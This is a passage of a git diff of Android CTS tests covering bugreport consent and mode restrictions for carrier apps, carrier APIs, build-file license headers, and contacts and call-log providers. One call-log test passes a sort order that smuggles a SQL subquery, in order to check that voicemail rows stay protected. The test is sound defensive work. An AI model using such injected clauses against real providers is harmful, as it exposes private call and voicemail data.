+        mBugreportFd = parcelFd(mBugreportFile);
+        // Should never be written for anything a carrier app can trigger; several tests assert that
+        // this file has no content.
+        mScreenshotFile = createTempFile("screenshot_" + name.getMethodName(), ".png");
+        mScreenshotFd = parcelFd(mScreenshotFile);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        FileUtils.closeQuietly(mBugreportFd);
+        FileUtils.closeQuietly(mScreenshotFd);
+    }
+
+    @Test
+    public void startConnectivityBugreport() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+        setConsentDialogReply(ConsentReply.ALLOW);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.isSuccess()).isTrue();
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isGreaterThan(0L);
+        assertFdIsClosed(mBugreportFd);
+    }
+
+    @Test
+    public void startConnectivityBugreport_consentDenied() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+        setConsentDialogReply(ConsentReply.DENY);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.getErrorCode())
+                .isEqualTo(BugreportCallback.BUGREPORT_ERROR_USER_DENIED_CONSENT);
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+    }
+
+    @Test
+    public void startConnectivityBugreport_consentTimeout() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+        long startTimeMillis = System.currentTimeMillis();
+
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+        setConsentDialogReply(ConsentReply.NONE_TIMEOUT);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.getErrorCode())
+                .isEqualTo(BugreportCallback.BUGREPORT_ERROR_USER_CONSENT_TIMED_OUT);
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+        // Ensure the dialog was displaying long enough.
+        assertThat(System.currentTimeMillis() - startTimeMillis)
+                .isAtLeast(MINIMUM_CONSENT_TIMEOUT_MILLIS);
+        // The dialog may still be displaying, dismiss it if so.
+        dismissConsentDialogIfPresent();
+    }
+
+    @Test
+    public void simultaneousBugreportsNotAllowed() throws Exception {
+        BugreportCallbackImpl callback1 = new BugreportCallbackImpl();
+        BugreportCallbackImpl callback2 = new BugreportCallbackImpl();
+        File bugreportFile2 = createTempFile("bugreport_2_" + name.getMethodName(), ".zip");
+        ParcelFileDescriptor bugreportFd2 = parcelFd(bugreportFile2);
+
+        // Start the first report, but don't accept the consent dialog or wait for the callback to
+        // complete yet.
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback1);
+
+        // Attempting to start a second report immediately gets us a concurrency error.
+        mBugreportManager.startConnectivityBugreport(bugreportFd2, Runnable::run, callback2);
+        assertThat(callback2.getErrorCode())
+                .isEqualTo(BugreportCallback.BUGREPORT_ERROR_ANOTHER_REPORT_IN_PROGRESS);
+
+        // Now wait for the first report to complete normally.
+        setConsentDialogReply(ConsentReply.ALLOW);
+        waitUntilDoneOrTimeout(callback1);
+
+        assertThat(callback1.isSuccess()).isTrue();
+        assertThat(callback1.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isGreaterThan(0L);
+        assertFdIsClosed(mBugreportFd);
+        // The second report never got any details filled in.
+        assertThat(callback2.hasReceivedProgress()).isFalse();
+        assertThat(bugreportFile2.length()).isEqualTo(0L);
+        assertFdIsClosed(bugreportFd2);
+    }
+
+    @Test
+    public void cancelBugreport() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        // Start the report, but don't accept the consent dialog or wait for the callback to
+        // complete yet.
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+
+        assertThat(callback.isDone()).isFalse();
+
+        // Cancel and wait for the final result.
+        mBugreportManager.cancelBugreport();
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.getErrorCode()).isEqualTo(BugreportCallback.BUGREPORT_ERROR_RUNTIME);
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+    }
+
+    @Test
+    public void startBugreport_connectivityBugreport() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        // Carrier apps that compile with the system SDK have visibility to use this API, so we need
+        // to enforce that the additional parameters can't be abused to e.g. surreptitiously capture
+        // screenshots.
+        mBugreportManager.startBugreport(
+                mBugreportFd,
+                mScreenshotFd,
+                new BugreportParams(BugreportParams.BUGREPORT_MODE_TELEPHONY),
+                Runnable::run,
+                callback);
+        setConsentDialogReply(ConsentReply.ALLOW);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.isSuccess()).isTrue();
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isGreaterThan(0L);
+        assertFdIsClosed(mBugreportFd);
+        // Screenshots are never captured for connectivity bugreports, even if an FD is passed in.
+        assertThat(mScreenshotFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mScreenshotFd);
+    }
+
+    @Test
+    public void startBugreport_fullBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_FULL);
+    }
+
+    @Test
+    public void startBugreport_interactiveBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_INTERACTIVE);
+    }
+
+    @Test
+    public void startBugreport_remoteBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_REMOTE);
+    }
+
+    @Test
+    public void startBugreport_wearBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_WEAR);
+    }
+
+    @Test
+    public void startBugreport_wifiBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_WIFI);
+    }
+
+    @Test
+    public void startBugreport_defaultBugreport() throws Exception {
+        // BUGREPORT_MODE_DEFAULT (6) is defined by the AIDL, but isn't accepted by
+        // BugreportManagerServiceImpl or exposed in BugreportParams.
+        assertExceptionThrownForMode(6, IllegalArgumentException.class);
+    }
+
+    @Test
+    public void startBugreport_negativeMode() throws Exception {
+        assertExceptionThrownForMode(-1, IllegalArgumentException.class);
+    }
+
+    @Test
+    public void startBugreport_invalidMode() throws Exception {
+        // Current max is BUGREPORT_MODE_DEFAULT (6) as defined by the AIDL.
+        assertExceptionThrownForMode(7, IllegalArgumentException.class);
+    }
+
+    /* Implementatiion of {@link BugreportCallback} that offers wrappers around execution result */
+    private static final class BugreportCallbackImpl extends BugreportCallback {
+        private int mErrorCode = -1;
+        private boolean mSuccess = false;
+        private boolean mReceivedProgress = false;
+        private boolean mEarlyReportFinished = false;
+        private final Object mLock = new Object();
+
+        @Override
+        public synchronized void onProgress(float progress) {
+            mReceivedProgress = true;
+        }
+
+        @Override
+        public synchronized void onError(int errorCode) {
+            Log.d(TAG, "Bugreport errored");
+            mErrorCode = errorCode;
+        }
+
+        @Override
+        public synchronized void onFinished() {
+            Log.d(TAG, "Bugreport finished");
+            mSuccess = true;
+        }
+
+        @Override
+        public synchronized void onEarlyReportFinished() {
+            mEarlyReportFinished = true;
+        }
+
+        /* Indicates completion; and ended up with a success or error. */
+        public synchronized boolean isDone() {
+            return (mErrorCode != -1) || mSuccess;
+        }
+
+        public synchronized int getErrorCode() {
+            return mErrorCode;
+        }
+
+        public synchronized boolean isSuccess() {
+            return mSuccess;
+        }
+
+        public synchronized boolean hasReceivedProgress() {
+            return mReceivedProgress;
+        }
+
+        public synchronized boolean hasEarlyReportFinished() {
+            return mEarlyReportFinished;
+        }
+    }
+
+    /** Allow/deny the consent dialog to sharing bugreport data, or just check existence. */
+    private enum ConsentReply {
+        // Touch the positive button.
+        ALLOW,
+        // Touch the negative button.
+        DENY,
+        // Just verify that the dialog has appeared, but make no touches.
+        NONE_TIMEOUT,
+    }
+
+    private void setConsentDialogReply(ConsentReply consentReply) throws Exception {
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        // No need to wake + dismiss keyguard here; CTS respects our DISABLE_KEYGUARD permission.
+        if (!device.wait(
+                Until.hasObject(CONSENT_DIALOG_TITLE_SELECTOR), UIAUTOMATOR_TIMEOUT_MILLIS)) {
+            fail("The consent dialog can't be found");
+        }
+
+        final BySelector replySelector;
+        switch (consentReply) {
+            case ALLOW:
+                Log.d(TAG, "Allow the consent dialog");
+                replySelector = By.res("android", "button1");
+                break;
+            case DENY:
+                Log.d(TAG, "Deny the consent dialog");
+                replySelector = By.res("android", "button2");
+                break;
+            case NONE_TIMEOUT:
+            default:
+                // Not making a choice, just leave the dialog up now that we know it exists. It will
+                // eventually time out, but we don't wait for that here.
+                return;
+        }
+        UiObject2 replyButton = device.findObject(replySelector);
+        assertWithMessage("The button of consent dialog is not found")
+                .that(replyButton)
+                .isNotNull();
+        replyButton.click();
+
+        assertThat(
+                        device.wait(
+                                Until.gone(CONSENT_DIALOG_TITLE_SELECTOR),
+                                UIAUTOMATOR_TIMEOUT_MILLIS))
+                .isTrue();
+    }
+
+    private void dismissConsentDialogIfPresent() throws Exception {
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        if (!device.hasObject(CONSENT_DIALOG_TITLE_SELECTOR)) {
+            return;
+        }
+
+        Log.d(
+                TAG,
+                "Consent dialog still present on the screen even though report finished,"
+                        + " dismissing it");
+        device.pressBack();
+        assertThat(
+                        device.wait(
+                                Until.gone(CONSENT_DIALOG_TITLE_SELECTOR),
+                                UIAUTOMATOR_TIMEOUT_MILLIS))
+                .isTrue();
+    }
+
+    private static void waitUntilDoneOrTimeout(BugreportCallbackImpl callback) throws Exception {
+        long startTimeMillis = System.currentTimeMillis();
+        while (!callback.isDone()) {
+            Thread.sleep(1000);
+            if (System.currentTimeMillis() - startTimeMillis >= BUGREPORT_TIMEOUT_MILLIS) {
+                Log.w(TAG, "Timed out waiting for bugreport completion");
+                break;
+            }
+            Log.d(TAG, "Waited " + (System.currentTimeMillis() - startTimeMillis + "ms"));
+        }
+    }
+
+    private void assertSecurityExceptionThrownForMode(int mode) {
+        assertExceptionThrownForMode(mode, SecurityException.class);
+    }
+
+    private <T extends Throwable> void assertExceptionThrownForMode(
+            int mode, Class<T> exceptionType) {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+        try {
+            mBugreportManager.startBugreport(
+                    mBugreportFd,
+                    mScreenshotFd,
+                    new BugreportParams(mode),
+                    Runnable::run,
+                    callback);
+            fail("BugreportMode " + mode + " should cause " + exceptionType.getSimpleName());
+        } catch (Throwable thrown) {
+            if (!exceptionType.isInstance(thrown)) {
+                throw thrown;
+            }
+        }
+
+        assertThat(callback.isDone()).isFalse();
+        assertThat(callback.hasReceivedProgress()).isFalse();
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+        assertThat(mScreenshotFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mScreenshotFd);
+    }
+
+    private static File createTempFile(String prefix, String extension) throws Exception {
+        File f = File.createTempFile(prefix, extension);
+        f.setReadable(true, true);
+        f.setWritable(true, true);
+        f.deleteOnExit();
+        return f;
+    }
+
+    private static ParcelFileDescriptor parcelFd(File file) throws Exception {
+        return ParcelFileDescriptor.open(
+                file, ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_APPEND);
+    }
+
+    private static void assertFdIsClosed(ParcelFileDescriptor pfd) {
+        try {
+            int fd = pfd.getFd();
+            fail("Expected ParcelFileDescriptor argument to be closed, but got: " + fd);
+        } catch (IllegalStateException expected) {
+        }
+    }
+}
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index 8f2d6fc..da46842 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -42,12 +42,16 @@
 import android.os.HandlerThread;
 import android.os.ParcelUuid;
 import android.os.PersistableBundle;
+import android.platform.test.annotations.SystemUserOnly;
 import android.provider.Telephony;
 import android.provider.VoicemailContract;
+import android.telephony.AccessNetworkConstants;
 import android.telephony.AvailableNetworkInfo;
 import android.telephony.CarrierConfigManager;
 import android.telephony.IccOpenLogicalChannelResponse;
 import android.telephony.PhoneStateListener;
+import android.telephony.SignalStrengthUpdateRequest;
+import android.telephony.SignalThresholdInfo;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
@@ -402,6 +406,7 @@
         }
     }
 
+    @SystemUserOnly(reason = "b/177921545, broadcast sent only to primary user")
     public void testSendDialerSpecialCode() {
         if (!hasCellular) return;
         try {
@@ -1200,6 +1205,35 @@
         assertNotNull("sendEnvelopeWithStatus is null for envelope=" + envelope, response);
     }
 
+    /**
+     * This test checks that applications with carrier privilege can set/clear signal strength
+     * update request via
+     * {@link TelephonyManager#setSignalStrengthUpdateRequest(SignalStrengthUpdateRequest)} and
+     * {@link TelephonyManager#clearSignalStrengthUpdateRequest} without
+     * {@link android.Manifest.permission#MODIFY_PHONE_STATE MODIFY_PHONE_STATE}.
+     */
+    public void testSetClearSignalStrengthUpdateRequest() {
+        if (!hasCellular) return;
+
+        final SignalStrengthUpdateRequest request =
+                new SignalStrengthUpdateRequest.Builder()
+                        .setSignalThresholdInfos(List.of(
+                                new SignalThresholdInfo.Builder()
+                                        .setRadioAccessNetworkType(
+                                                AccessNetworkConstants.AccessNetworkType.GERAN)
+                                        .setSignalMeasurementType(
+                                                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                                        .setThresholds(new int[]{-113, -103, -97, -51})
+                                        .build()))
+                        .setReportingRequestedWhileIdle(true)
+                        .build();
+        try {
+            mTelephonyManager.setSignalStrengthUpdateRequest(request);
+        } finally {
+            mTelephonyManager.clearSignalStrengthUpdateRequest(request);
+        }
+    }
+
     private void verifyValidIccOpenLogicalChannelResponse(IccOpenLogicalChannelResponse response) {
         // The assigned channel should be between the min and max allowed channel numbers
         int channel = response.getChannel();
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index decee36..017d7fa 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -34,6 +34,7 @@
 import android.os.Message;
 import android.os.Parcel;
 import android.os.Process;
+import android.os.UserHandle;
 import android.provider.Settings;
 import android.telephony.AccessNetworkConstants;
 import android.telephony.CellInfo;
@@ -448,7 +449,7 @@
                         return Process.INVALID_UID;
                     }
                 })
-                .filter(uid -> !specialUids.contains(uid))
+                .filter(uid -> !specialUids.contains(UserHandle.getAppId(uid)))
                 .collect(Collectors.toList());
 
         if (nonSpecialPackages.size() > 1) {
diff --git a/tests/tests/classloaderfactory/Android.bp b/tests/tests/classloaderfactory/Android.bp
index d920635..450b25f 100644
--- a/tests/tests/classloaderfactory/Android.bp
+++ b/tests/tests/classloaderfactory/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "ClassLoaderFactoryTestSecondary",
     srcs: [ "src-ex/**/*.java" ],
@@ -32,4 +36,4 @@
     ],
     java_resources: [ ":ClassLoaderFactoryTestSecondary" ],
     sdk_version: "test_current",
-}
\ No newline at end of file
+}
diff --git a/tests/tests/classloaderfactory/test-memcl/Android.bp b/tests/tests/classloaderfactory/test-memcl/Android.bp
index e4dafb8..65ba64c 100644
--- a/tests/tests/classloaderfactory/test-memcl/Android.bp
+++ b/tests/tests/classloaderfactory/test-memcl/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases",
     defaults: [ "cts_classloaderfactorytest_defaults" ],
diff --git a/tests/tests/classloaderfactory/test-pathcl/Android.bp b/tests/tests/classloaderfactory/test-pathcl/Android.bp
index 3622519..74ca190 100644
--- a/tests/tests/classloaderfactory/test-pathcl/Android.bp
+++ b/tests/tests/classloaderfactory/test-pathcl/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsClassLoaderFactoryPathClassLoaderTestCases",
     defaults: [ "cts_classloaderfactorytest_defaults" ],
diff --git a/tests/tests/colormode/Android.bp b/tests/tests/colormode/Android.bp
index 3560a61..2a07d99 100644
--- a/tests/tests/colormode/Android.bp
+++ b/tests/tests/colormode/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsColorModeTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/contactsprovider/Android.bp b/tests/tests/contactsprovider/Android.bp
index 975e5bf..e58375b 100644
--- a/tests/tests/contactsprovider/Android.bp
+++ b/tests/tests/contactsprovider/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsContactsProviderTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/contactsprovider/gal/Android.bp b/tests/tests/contactsprovider/gal/Android.bp
index 5b2f639..b4c2241 100644
--- a/tests/tests/contactsprovider/gal/Android.bp
+++ b/tests/tests/contactsprovider/gal/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsContactsProviderGalProvider",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
new file mode 100644
index 0000000..f91015a
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.CallLog;
+import android.provider.CallLog.Calls;
+import android.test.InstrumentationTestCase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class CallLogProviderTest extends InstrumentationTestCase {
+    private ContentResolver mContentResolver;
+    private ContentProviderClient mProvider;
+
+    private static final String TEST_NUMBER = "5551234";
+    private static final int TIME_OUT_MILLIS = 5000;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+        mProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
+    }
+
+    public void testNoSubqueries() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+
+        mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        // Attempt to do a query that contains a subquery -- this should fail since this test does
+        // not have READ_VOICEMAIL.
+        try {
+            Cursor c = mProvider.query(Calls.CONTENT_URI, null, CallLog.Calls.NUMBER + " = ?",
+                    new String[]{TEST_NUMBER},
+                    "date DESC LIMIT (SELECT count(*) + 1 FROM calls WHERE type = 4");
+            assertEquals(0, c.getCount());
+        } catch (IllegalArgumentException e) {
+            // expected/tolerated
+        }
+    }
+
+    public void testUpdate() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+        Uri uri = mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        CountDownLatch changeLatch = new CountDownLatch(1);
+        mContentResolver.registerContentObserver(
+                CallLog.Calls.CONTENT_URI, true,
+                new ContentObserver(null /* handler */) {
+                    @Override
+                    public void onChange(boolean selfChange, Uri uri) {
+                        mContentResolver.unregisterContentObserver(this);
+                        changeLatch.countDown();
+                        super.onChange(selfChange);
+                    }
+                });
+
+        // Update it!
+        values.put(CallLog.Calls.DURATION, Long.valueOf(6 /*call duration*/));
+        int numUpdated = mContentResolver.update(uri, values, null, null);
+        assertEquals(1, numUpdated);
+        try {
+            assertTrue(changeLatch.await(TIME_OUT_MILLIS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+            fail("Expected update notification.");
+        }
+    }
+
+    public void testDelete() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+        Uri uri = mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        CountDownLatch changeLatch = new CountDownLatch(1);
+        mContentResolver.registerContentObserver(
+                CallLog.Calls.CONTENT_URI, true,
+                new ContentObserver(null /* handler */) {
+                    @Override
+                    public void onChange(boolean selfChange, Uri uri) {
+                        mContentResolver.unregisterContentObserver(this);
+                        changeLatch.countDown();
+                        super.onChange(selfChange);
+                    }
+                });
+
+        // Delete it.
+        // Yuck, you can't just delete using the uri passed in; you need to build a where clause.
+        int count = mContentResolver.delete(Calls.CONTENT_URI, Calls._ID + "="
+                + ContentUris.parseId(uri), null);
+        assertEquals(1, count);
+        try {
+            assertTrue(changeLatch.await(TIME_OUT_MILLIS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+            fail("Expected update notification.");
+        }
+    }
+}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
index fa0572c..2ec7ec8 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
@@ -31,6 +31,8 @@
 import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 
+import com.android.compatibility.common.util.CddTest;
+
 public class ContactsContract_RawContactsTest extends AndroidTestCase {
     private ContentResolver mResolver;
     private ContactsContract_TestDataBuilder mBuilder;
@@ -150,6 +152,7 @@
         assertEquals("1", result[1]);
     }
 
+    @CddTest(requirement = "3.18/C-1-5")
     public void testRawContactDelete_localDeleteRemovesRecord() {
         String name = RawContacts.getLocalAccountName(mContext);
         String type = RawContacts.getLocalAccountType(mContext);
@@ -201,6 +204,7 @@
      * config_rawContactsLocalAccountName and config_rawContactsLocalAccountType resource strings 
      * defined in platform/frameworks/base/core/res/res/values/config.xml.
      */
+    @CddTest(requirement="3.18/C-1-1,C-1-2,C-1-3")
     public void testRawContactCreate_noAccountUsesLocalAccount() {
         // Save a raw contact without an account.
         long rawContactid = RawContactUtil.insertRawContact(mResolver, null);
@@ -218,6 +222,31 @@
         RawContactUtil.delete(mResolver, rawContactid, true);
     }
 
+    /**
+     * The local account is the default if a raw contact insert uses null for
+     * the {@link RawContacts#ACCOUNT_NAME} and {@link RawContacts#ACCOUNT_TYPE}.
+     *
+     * <p>See {@link #testRawContactCreate_noAccountUsesLocalAccount()}
+     */
+    @CddTest(requirement="3.18/C-1-1,C-1-2,C-1-3")
+    public void testRawContactCreate_nullAccountUsesLocalAccount() throws Exception {
+        // Save a raw contact using the default local account
+        TestRawContact rawContact = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, (String) null)
+                .with(RawContacts.ACCOUNT_NAME, (String) null)
+                .insert();
+
+        String[] row =  RawContactUtil.queryByRawContactId(mResolver, rawContact.getId(),
+                new String[] {
+                        RawContacts.ACCOUNT_NAME, RawContacts.ACCOUNT_TYPE
+                });
+
+        // When the raw contact is inserted into the default local account the contact is created
+        // in the local account.
+        assertEquals(RawContacts.getLocalAccountName(mContext), row[0]);
+        assertEquals(RawContacts.getLocalAccountType(mContext), row[1]);
+    }
+
     public void testRawContactUpdate_updatesContactUpdatedTimestamp() {
         DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
 
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
index ceaee73..9613b14 100755
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
@@ -26,6 +26,8 @@
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
@@ -109,6 +111,7 @@
      * {@link android.provider.ContactsContract.RawContacts#ACCOUNT_TYPE} that do not correspond
      * to an added account will be removed but this should not be done for the local account.
      */
+    @CddTest(requirement="3.18/C-1-4")
     public void testAccountRemoval_doesNotDeleteLocalAccountContacts() {
         mAccountManager.addAccountExplicitly(ACCT_1, null, null);
         ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
diff --git a/tests/tests/contactsproviderwipe/Android.bp b/tests/tests/contactsproviderwipe/Android.bp
index c3ce587..2a82727 100644
--- a/tests/tests/contactsproviderwipe/Android.bp
+++ b/tests/tests/contactsproviderwipe/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsContactsProviderWipe",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/content/Android.bp b/tests/tests/content/Android.bp
index 4df740d..0f87a3b 100644
--- a/tests/tests/content/Android.bp
+++ b/tests/tests/content/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsContentTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/content/BinderPermissionTestService/Android.bp b/tests/tests/content/BinderPermissionTestService/Android.bp
index 798f084..928e532 100644
--- a/tests/tests/content/BinderPermissionTestService/Android.bp
+++ b/tests/tests/content/BinderPermissionTestService/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsBinderPermissionTestService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp
index b15e59a..21bcaf6 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSyncAccountAccessOtherCertTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/content/DirectBootUnawareTestApp/Android.bp b/tests/tests/content/DirectBootUnawareTestApp/Android.bp
index c03d9fc..4a1a9bb 100644
--- a/tests/tests/content/DirectBootUnawareTestApp/Android.bp
+++ b/tests/tests/content/DirectBootUnawareTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsContentDirectBootUnawareTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/content/HelloWorldApp/Android.bp b/tests/tests/content/HelloWorldApp/Android.bp
